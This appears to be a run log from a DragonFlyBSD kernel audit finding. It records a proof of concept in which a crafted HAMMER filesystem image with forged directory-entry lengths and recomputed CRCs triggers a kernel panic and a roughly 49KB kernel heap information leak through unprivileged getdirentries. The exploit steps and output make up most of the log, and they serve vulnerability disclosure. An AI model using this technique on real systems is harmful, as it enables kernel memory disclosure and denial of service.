DragonFlyBSD Kernel Audit
DF-0769 / run.log
← back to finding ↓ download raw
DF-0769 DECISIVE RUN LOG (combination of baseline #0 reproduction + production harness)
================================================================================

Guest baseline (reproduction kernel): DragonFly 6.5-DEVELOPMENT #0 (with-src, INVARIANTS ON)
GCC: cc 8.3 [DragonFly]

------------------------------------------------------------
PART 1: deterministic production-primitive proof (harness, INVARIANTS-OFF ceiling)
------------------------------------------------------------
$ ./harness
forged data_len          = 8
HAMMER_ENTRY_NAME_OFF    = 16
data_len - NAME_OFF      = -8
=> d_namlen (uint16_t)   = 65528   (0xfff8)
=> _DIRENT_RECLEN(d_namlen) = 65552 bytes (kmalloc'd + uiomove'd to user)

vop_write_dirent bcopy(d_name, dp->d_name, 65528)
  source region:  16KB hammer_buffer->ondisk (name at +16)
  valid bytes in source buffer  = 16368
  bytes read by bcopy           = 65528
  >>> OOB READ beyond buffer    = 49160 bytes <<<
  uiomove then copies all 65552 bytes (incl OOB data) to the getdents user buffer
  => ~49160-byte kernel-heap INFO LEAK via unprivileged getdirentries

Sample leaked bytes (from dp_d_name[16368..], i.e. past the hammer buffer):
  cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc

------------------------------------------------------------
PART 2: image crafting (craft_img) on a fresh 1GB newfs_hammer image
------------------------------------------------------------
$ ./craft_img /root/scratch.img
vol_buf_beg=0x88000 vol_version=7
image size=1073741824 bytes
  @node 0x21088000 elm[1] 'BBBB.txt' data_offset=90000000218001b0 data_len=24  -> forging data_len=8
    forged data_crc=99fc7e3a (iscsi_crc32 of 8 bytes at phys 0x218881b0)
  @node 0x21088000 elm[2] 'AAAA_entry.txt' data_offset=90000000218001d0 data_len=30  -> forging data_len=8
    forged data_crc=13ba2666 (iscsi_crc32 of 8 bytes at phys 0x218881d0)
  @node 0x21088000 rewrote node crc: was 9f3e0145(ok=1) now 80ed3b57
PATCHED 2 direntry leaf element(s). data_len now 8 (< HAMMER_ENTRY_NAME_OFF=16).

[node crc self-check 'ok=1' confirms the userspace iscsi_crc32 matches the kernel's
 CRC implementation, so the forged data_crc/node crc will pass hammer_crc_test_*().]

------------------------------------------------------------
PART 3: GENERIC #0 baseline -- trigger via unprivileged getdirentries
------------------------------------------------------------
Setup (root precondition, acceptable per threat model): vnconfig + mount crafted image.
  vnconfig -c vn0 /root/scratch.img
  mount -t hammer -o nohistory /dev/vn0 /mnt
  chmod 755 /mnt        # maxx can readdir

Trigger (unprivileged): ls /mnt   -> getdirentries(/mnt)
  => GUEST WEDGED IN DDB (command never returns; ssh dies)

Serial console (dfbsd-qemu/boot.log):
  HAMMER(TEST) mounted clean, no recovery needed
  panic: assertion "cursor.leaf->data_len > HAMMER_ENTRY_NAME_OFF" failed in hammer_vop_readdir at /usr/src/sys/vfs/hammer/hammer_vnops.c:1728
  cpuid = 0
  Trace beginning at frame 0xfffff8011722b628
  hammer_vop_readdir() at hammer_vop_readdir+0x294 0xffffffff809583c4
  hammer_vop_readdir() at hammer_vop_readdir+0x294 0xffffffff809583c4
  vop_readdir() at vop_readdir+0x6b 0xffffffff8070b17b
  kern_getdirentries() at kern_getdirentries+0xdc 0xffffffff80706a3c
  sys_getdirentries() at sys_getdirentries+0x24 0xffffffff80706aa4
  syscall2() at syscall2+0x11e 0xffffffff80bd6a0e
  Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
  db>

=> KKASSERT at hammer_vnops.c:1728 fires (forged data_len=8 is NOT > 16) on GENERIC.
   This is the GENERIC (INVARIANTS-ON) manifestation: kernel panic / local DoS.
   The production (INVARIANTS-OFF) manifestation is the ~49160-byte OOB info leak
   proven by harness.c in Part 1 (the KKASSERT is compiled out, so :1737 runs).

See panic.txt for the full panic block, fix_run.log for the post-fix behavior.